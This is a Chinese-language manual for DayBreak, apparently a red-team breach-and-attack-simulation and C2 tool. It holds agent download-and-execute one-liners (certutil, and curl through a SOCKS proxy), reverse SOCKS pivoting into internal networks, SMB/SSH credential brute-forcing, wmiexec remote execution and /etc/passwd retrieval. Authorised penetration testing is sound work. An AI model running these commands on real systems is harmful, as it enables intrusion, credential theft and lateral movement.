内网使用工具斗象BAS DayBreak 破晓
DayBreak 工具安装和使用文档
DayBreak 介绍
一、简介
-
Breach and Attack Simulation (BAS) , 可以翻译成入侵和攻击模拟,入侵理解为自动化渗透测试,攻击模拟包含两个方面一个是对人员的测试,如钓鱼邮件,另一个是对现有的防御设备进行安全功能的检测。
-
在2021年7月份,Gartner发布了《2021安全运营技术成熟度曲线》报告,对主流的安全运营技术进行了解读,并预测创新技术的发展阶段,而BAS是其中关注热度最高的技术。
-
它的实践价值主要在于模拟人工的红蓝对抗,以可持续性、灵活的通过各种编排策略去 验证企业当前的安全纵深防御体系的有效性。
-
斗象BAS DayBreak 破晓是业界首个免费版本,以企业安全人员&白帽子作为使用对象。 目前只专注在自动化渗透测试部分。
二、使用场景
- 如网络安全攻防/红蓝对抗场景中,攻击队在利用漏洞拿到了WEBSHELL或主机权限, 通过运行本程序来对内网进行进一步的资产收集和渗透测试。
三、特性
-
单一文件无依赖 支持多平台(win, linux, macos) 支持多CPU结构 (amd64, arm, x86, 386) 主机IP存活识别 端口扫描 服务识别 HTTP发现 文件目录爆破 WEB指纹识别 Netbios 信息收集 SMB信息收集 服务弱口令爆破 Yaml PoC扫描 socks5反连内网穿透 socks5正向代理服务 常用客户端(ssh)
安装和激活DayBreak
一、下载 DayBreak
-
前往
https://daybreak.tophant.com/
进行下载
二、安装 DayBreak
1.文件说明
-
编号 路径 说明 1 config.yaml 配置文件 自动生成 2 nserver DayBreak 服务端 3 data\web_deliver\nscan DayBreak Agent端 4 license.lic License 文件,激活后自动生成
2.启动
-
windows 下
-
nserver_amd64.exe server -tls
-
-
linux 下
-
chmod +x nserver_linux_amd64 ./nserver_linux_amd64 server -tls
-
-
mac 下
-
chmod +x nserver_darwin_amd64 ./nserver_darwin_amd64 server -tls
-
-
-tls 参数是让端口监听在ssl模式下,防止流量设备
-
第一次启动会生成密码 如:
init admin password: thfxmpok
-
自动生成
config.yaml
后,请修改platform_host
地址为自己的对外IP 地址- 重启才生效
- 访问
https://127.0.0.1:1337
3.端口
2338
代理反连平台监听端口1337
DayBreak 服务端 监听地址
三、 激活 DayBreak
- 首次打开会进入激活页面,需要前往
https://daybreak.tophant.com/
申请 - 填入申请的License即可激活。
快速开始
一、 新建监听器
-
进入监听管理页面,点击右边的创建监听器。
-
监听器名称输入如:
http
, -
监听器端口输入如:1338 , 请确保输入的端口没有被使用和有权限监听。
-
协议类型选择HTTP
二、 安装探针
-
在监听器页面,选择安装监听器操作,在弹出的对话框中选择根据实际情况选择对应的命令执行。
-
在windows下有杀毒软件可能会被拦截。
-
这里我选择的windows,在cmd中执行如下的命令
-
certutil -urlcache -gmt -split -f http://ip:1338/d/izdkjhzy izdkjhzy.exe && izdkjhzy.exe agent -u http://ip:1338 -s 83wgnp0d
-
-
上面的命令先利用certutil 下载Agent,
izdkjhzy
为服务端第一次启动时随机生成的文件名. -
再启动agent 子命令,其中
83wgnp0d
是Agent
和服务端通信加密密钥,也是服务端第一次启动时随机生成。
三、会话操作
-
如果前面操作顺利,那么将会在服务端管理平台自动生成一条会话记录
-
在会话操作中选择控制台,进入命令下发选项卡可以执行对应的命令,下面的截图是执行了
whoami
命令和ps
命令。 -
默认情况下心跳时间为5s, 可以使用
sleep
命令进行修改如输入sleep 1
,将会将心跳时间修改为1s
管理平台功能说明
一、监听管理
-
监听管理页面可以对监听器进行筛选,创建监听器,安装监听器,删除操作
-
创建监听器操作,点击右上角的创建监听器操作按钮可以进行监听器的创建, 其他HTTPS 协议会使用自签名的证书,在对Agent进行下载时会出现证书不信任问题,如有需要可以替换
data/cert/
中的证书文件 。 -
安装探针操作,会进入安装探针引导页面,可以根据自己的情况进行操作
-
删除监听器操作,对端口停止监听并删除对应的记录。
二、会话管理
- 会话管理页面可以对会话进行筛选,进入控制台,关闭,删除操作
- 进入控制台操作, 基本信息选项卡可以查看主机、IP、进程信息。文件目录选项卡可以对Agent文件进行查看上传下载等操作。 命令下发选项卡,可以执行30多种命令。 历史下载选项卡可以查看文件下载记录。
- 关闭操作,对会话进行关闭,Agent进程会关闭,数据还会保留。
- 删除操作,对会话记录数据进行删除。
三、文件中心
-
文件中心功能是用来进行文件中转的,如果要对Agent上传文件,需要先把文件上传到文件中心,然后在控制台中选择文件进行上传。
四、Web Delivery
-
Web Delivery 功能是用来进行文件分享的,进行文件下载时是不需要进行身份认证的。安装探针时的Agent文件下载就是通过该功能实现。 实际使用中还可以上传自己的文件,可以让接收方方便下载。
五、任务管理
-
任务管理页面可以对任务进行筛选,查看任务详情,新增任务,重启,删除操作。
-
新增任务操作,可以进行任务下发。
-
重启操作,可以对任务进行重启。
-
删除操作,对任务数据进行删除。
-
任务详情页面,可以查看本次扫描任务的结果
管理平台配置
一、 命令行参数
-
server
子命令用来启动服务端 -
nserver_amd64.exe server -h Usage of server: -c string config file path (default "config.yaml") -l string log file path (default: stdout) (default "-") -p int server listen port (default 1337) -tls Gin Server Use TLS(https) (default: false) -v string log level (zero, trace, debug, info, error) (default "info")
-
resetpass
对admin
用户密码进行重置 -
nserver_amd64.exe resetpass -h Usage of resetpass: -c string config file path (default "config.yaml") -p string admin new password
二、 重置admin 用户密码
-
下面命令将
admin
密码修改为123456
-
nserver_amd64.exe resetpass -p 123456
三、 配置文件
-
默认配置文件为
config.yaml
-
#sqlite 文件保存路径 sqlite_db_path: data/db #session 日志目录 session_log_path: data/logs/session #web_deliver 文件保存目录 web_delivery_path: data/web_deliver #文件中兴文件保存目录 file_data_path: data/file #服务端和监听器web 日志 gin_log_path: data/logs/gin #反向代理平台认证token, 第一次启动随机生成 reverse_token: csgnp0kn #反向代理平台对外地址, 第一次启动后,请手动配置 platform_host: 127.0.0.1 #服务端API Token, 第一次启动随机生成 api_token: v2s1ngtwg1ntad5xjoqj4lqtbgvyis6k #服务端JWT 密钥, 第一次启动随机生成 jwt_secret: fy485yku #监听器数据加密密钥, 第一次启动随机生成 listener_secret: 9gct38ud3 #是否保存执行命令的命令到数据库,结果需要通过API 查看,不建议开启 enable_command_save_db: false #服务端认证是否开启 enable_auth: true #服务端和监听器web 证书保存目录 cert_path: data/cert #反向代理平台监听端口 reverse_proxy_server_port: 2338 #验证码是否开启 verify_captcha:true
四、 服务模式启动
-
linux 环境时,执行install.sh即可。
-
# 重启 systemctl restart daybreak # 查看状态 systemctl status daybreak # 停止 systemctl stop daybreak
使用实例
一、扫描任务
-
扫描步骤顺序
-
主机存活 Netbios识别 端口扫描 服务识别 HTTP发现 WEB指纹识别 服务弱口令爆破 文件目录爆破 PoC扫描
-
在任务管理界面点击新增加任务按钮,填入任务名称,目标站点,根据实际情况勾选选项即可。
-
扫描目标可以为IP,IP段,子域名, 可同时下发多个,多个之间可以用逗号、空白符号分割
-
其中WEB指纹识别可能会占用比较大的内存,扫描过程中在300M-1G内存浮动,也和目标网络站点数目相关。
二、 内网代理转发
1.简介
-
使用
rsocks
命令可以轻松构建穿透内网的反向代理。 -
rsocks
命令执行成功会在BAS 服务端监听一个端口,并建立socks5代理,可以反向代理到处于内网的Agent
网络中。
2.使用
-
Usage of rsocks: -A string 反向代理平台地址 -P string 反向socks5 密码 -U string 反向socks5 用户名 -p int 反向socks5 监听端口 (default 2339) -x string 上游代理socks5 地址,格式:socks5://ip:port
-
创建反向
socks5
代理,监听端口为控制端上- -A 参数默认为 配置文件中的地址platform_host, 端口为:reverse_proxy_server_port -p 在DayBreak 服务端监听的端口 -x 上游代理socks5 地址,格式:socks5://ip:port, 用这个参数可以实现代理级联。
3.简单实例
1).启动
-
请确保2339端口没有被占用,也就是如果需要建立多个反向代理需要使用-p参数指定不同的端口
-
rsocks -U admin -P 123456 -p 2339
2).验证
-
curl -x socks5://admin:123456@vps:2339 https://www.baidu.com
-
vps
是DayBreak
服务端的地址 -
curl baidu.com
的流量是从Agent
出去的。 -
下面是
agent
的日志
3).关闭
-
jobkill 2
三、不出网上线
-
基本环境如下A,B主机在同一内网,A B 主机可以互通,当时B 主机无互联网权限。
-
此时A主机已经上线,B主机存在命令执行漏洞
-
先在A 主机上执行
socks -p 3337
, 将会在A主机上构建一个socks
代理。 -
在B主机上利用漏洞执行下面的命令,利用
curl
的加上代理下载探针文件, 再探针上线的时候配置代理即可上线。 -
curl -x socks5://AIP:3337 -skO http://VPS:8284/d/grx80p4x chmod +x grx80p4x ./grx80p4x agent -x socks5://AIP:3337 -u http://VPS:8284 -s gfee1m8z
-
执行成功可以上线
四、不出网代理转发
-
基本环境如下A,B主机在同一内网,A B 主机可以互通,当时B 主机无互联网权限。此时A, B 主机已经上线。
-
在B主机上执行
socks -p 3338
, 将会在B主机上构建一个socks代理。 -
socks -p 3338
-
在A主机上执行
rsocks -p 8285 -x socks5://172.29.1.2:3338
, 将会在VPS 上监听8285端口,流量出口先到达A 主机,然后再通过B主机的3338端口出去。 -
rsocks -p 8285 -x socks5://172.29.1.2:3338
-
下面是B 主机上 的验证, 可以看到可以直接通过DayBreak服务端直接连接不出网主机B的本地端口1234
-
curl -x socks5://VPS:8285 http://127.0.0.1:1234
五、 内网C段快速探测
-
如需要探测
10.0.0.0/16
这个B 段中有那些使用的C段, 一般情况下B段地址不会全部使用,只会有少部分C段去使用,如果这个时候去扫描整个B 段将会比较耗时。 -
目标就直接写
10.0.0.0/16
, 端口扫描选择top10, 并选择对应的会话。 -
扫描配置选项如下,主机存活并发数目稍微调大了点。 并勾选了C 段IP地址随机扫描选项。取消勾选网站指纹识别。
-
大概5分钟内探测完毕
-
对C 段数据进行导出,可以通过任务详情 C 段选项,进行导出,再根据自己的情况进行下一步动作。
其他说明
一、Agent端操作系统支持表格
-
序号 操作系统 CPU架构 1 windows 386 2 arm 3 amd64 4 linux arm 5 amd64 6 darwin arm64 7 amd64
二、 控制中心支持命令表格
-
序号 命令 语法 描述 示例 1 cat cat 查看指定文件内容。 cat /etc/passwd 2 cd cd 切换工作目录。 cd ../ 3 cp cp 对指定文件复制到新的指定位置 4 download download [dst] 下载Agent上的指定文件到控制端的文件列表中,如果目标文件已经存在将会以.1结尾 download /etc/passwd passwd 5 exec exec [args] 执行系统命令或运行指定程序。 别名: run exec whomai 6 exist exist Agent进程退出 exist 7 find find 根据给定的文件名匹配指定目录下的文件,会递归查找,其中匹配部分仅仅为文件名 find ./ test 8 findhash findhash 根据指定Hash值匹配指定目录下的文件,会递归查找,其中Hash 支持 md5,sha1,sha256 会根据长度自动识别类型 findhash ./ 74050d53d6d360ceace2e24a101a64b1 9 ifconfig ifconfig 查看ip地址等信息 别名: ipconfig, ip ifconfig 10 jobkill jobkill 结束正在运行的任务 jobkill 1 11 jobs jobs 查看正在执行的任务信息,只有下面的命令才可以查看 exec、rsocks5、socks5、scan、download、find、findhash jobs 12 ls ls [path] 查看指定目录的文件列表信息 ls 13 lsroot lsroot 显示磁盘盘符 lsroot 14 mkdir mkdir 创建指定目录,如果父目录不存在将会自动创建 mkdir ./ab/cd 15 mv mv 对指定路径进行重命名 别名:rename mv ab.txt cd.txt 16 netstat Usage of netstat: -a 显示所有的sock 信息 -ip string 对IP进行过滤 -p 显示进程的物理路径信息 查看网络连接信息,仅仅支持linux netstat 17 ps ps 获取进程列表信息 ps 18 pwd pwd 打印当前工作目录 pwd 19 rm rm 删除指定文件 rm test 20 rmdir rmdir 删除指定目录,会递归删除 rmdir ab 21 rsocks Usage of rsocks: -A string 反向代理平台地址 -P string 反向socks5 密码 -U string 反向socks5 用户名 -p int 反向socks5 监听端口 (default 2339) -x string 上游代理socks5 地址 创建反向socks5代理,监听端口为控制端上 -A 参数默认为 配置文件中的地址platform_host, 端口为:reverse_proxy_server_port -p 在控制端监听的端口 rsocks 22 scan Usage of scan: -brute 开启文件/目录爆破 -c int 端口扫描协程并发数 (default 30) -crack 开启服务弱口令爆破 -dN 禁用 NetBios 服务扫描 -s 跳过存活扫描 -erc 开启C 段IP生成, 对于掩码为[8-16)的目标IP地址,将会自动开启 -f 开启WEB指纹识别 -p string 扫描的端口 (default "top200") -pc int 主机存活并发数目 (default 20) -poc 开启yaml poc扫描 -pt int 端口扫描超时时间 (ms) (default 200) -rcn int C段随机数目 (default 20) -service 开启系统服务识别 -t string 扫描目标 执行主机发现,端口扫描,系统服务识别,弱口令爆破 HTTP站点发现,web指纹识别,文件/目录爆破,PoC扫描 等功能。 scan -t 192.168.0.0/24 23 sleep sleep 设置 心跳包间隔,单位为s,默认为5S sleep 1 24 socks -P string socks5 密码 -U string socks5 用户名 -p int socks5 监听端口 (default 2339) -x string 上游代理socks5 地址 创建socks5代理, 监听端口在Agent上 socks 25 upload upload 上传文件类别中的文件到Agent上的指定位置,如果目标文件已经存在将会打印错误信息 upload test.txt /tmp/test.txt 26 whoami whoami 显示当前用户名 whoami 27 smbcrack Usage of smbcrack: --CrackConcurrency int 弱口令爆破并发数 (default 8) --cc int 弱口令爆破并发数 (default 8) -d, --domain string 域名称 -H, --hash strings ntlm Hash -P, --password strings 密码 --pc int 端口扫描并发数 (default 30) -p, --port string scan port (default "445") --portConcurrency int 端口扫描并发数 (default 30) --portScanTimeout int 端口扫描超时时间(ms) (default 200) --pt int 端口扫描并发数 (ms) (default 200) -t, --target string 目标 -U, --username strings 用户名 (default [Administrator]) 通过smb协议对主机登录凭证进行爆破 smbcrack -P p@ssw0rd -t 192.168.1.0/24 28 sshcrack Usage of sshcrack: --CrackConcurrency int 弱口令爆破并发数 (default 8) --at int ssh 认证超时时间 (s) (default 25) --cc int 弱口令爆破并发数 (default 8) -P, --password strings 密码 --pc int 端口扫描并发数目 (default 30) -p, --port string scan port (default "22,2222") --portConcurrency int 端口扫描并发数目 (default 30) --portScanTimeout int 端口扫描超时时间 (ms) (default 200) -i, --privateKeyFile string 私钥路径 --pt int 端口扫描超时时间 (ms) (default 200) -t, --target string 目标 --timeout int ssh 认证超时时间 (s) (default 25) -U, --username strings 用户名 (default [root]) 通过ssh协议对主机登录凭证进行爆破 sshcrack -t 192.168.1.0/24 -P root 29 wmiexec Usage of wmiexec: -c, --cmd string 命令 -d, --domain string 域名称 -p, --pass string 密码 -t, --target string 目标 -u, --user string 用户名 (default "administrator") Agent 仅仅只对windows下有效 通过wmi协议,执行系统命令(需要管理员权限), 无回显 同一个主机,需要等上一条命令执行完,才能执行下一条命令 wmiexec -t 192.168.1.1 -u administrator -p p@ssw0rd -d domain.com -c calc 30 curl Usage of curl: -d, --data string HTTP body 数据 -H, --header stringArray HTTP 首部数据 -X, --method string HTTP 请求方法 (default "GET") -o, --output string 输出保存到文件地址 (default "-") -x, --proxy string 代理设置 -u, --url string 请求URL -v, --verbose 显示请求信息和响应信息 一个类似于curl的简单命令 curl -u http://www.baidu.com -H "User-Agent: curl" 31 cert Usage of cert: --conn-timeout int 连接超时时间 (default 3) -j, --out-json 使用json格式输出 -o, --output string 输出保存到文件地址 (default "-") --read-timeout int 读取超时时间 (default 10) -t, --target string 目标地址 获取服务器的证书信息 cert -t baidu.com:443
常见问题
一、 扫描任务中的C段IP地址随机扫描选项是什么作用
-
C段IP地址随机扫描,这个功能的含义是开启了这个后,C 段地址范围会随机选择20 个 IP去扫描。
-
掩码长度少于等于16会强制开启。比如,我下发的目标
10.0.0.0/16
段,他这个有6万多个IP,这个IP太多了,费时间, 去扫描的时候那么只会扫描256*20 ,大概5千多个IP. -
这样可以较为快速的发现C段地址
二、 如何重置管理员密码
-
下面命令将admin密码修改为123456
-
以linux 平台为例
-
./nserver_linux_amd64.exe resetpass -p 123456
-
三、 命令下发功能命令参数带空格怎么办
- 如果参数中有空格请使用双引号包裹。
四、命令下发功能如何执行多条系统命令
-
exec 命令每次只允许一个程序,可以使用
bash -c
来执行多条命令。 如下会执行whoami
和pwd
命令 -
exec bash -c "whoami;pwd"
五、一句话启动Agent失败怎么办
-
举例在监听器看到的命令如下:
-
certutil -urlcache -gmt -split -f http://vps/d/izdkjhzy izdkjhzy.exe && izdkjhzy.exe agent -u http://vps -s xxxx
-
可以通过浏览器下载 -f 参数指定的url, 然后再修改文件名后缀为exe, 再通过cmd 执行 && 后面的语句。
API
-
访问 /swagger/index.html 可以查看swagger文档
-
在
config.yaml
配置文件中可以 查看api_token
字段用于方便调用API -
api_token
可以放在Querystring token
参数中也可以放在Header Token
首部中。
更新日志
一、发布日志
v1.0.0 发布 (2022/11)
- 首次发布
v1.1.0 发布 (2023/05)
- 优化命令输出过多无法显示问题
- 优化网速慢的情况下下载Agent失败问题
- 优化 rsocks 命令稳定性
- 添加 ms17010 探测
- 探针安装命令优化
- 添加
smbcrack
,sshcrack
,wmiexec
,curl
,cert
命令 - 修复探针安装页面语句显示乱序问题 #5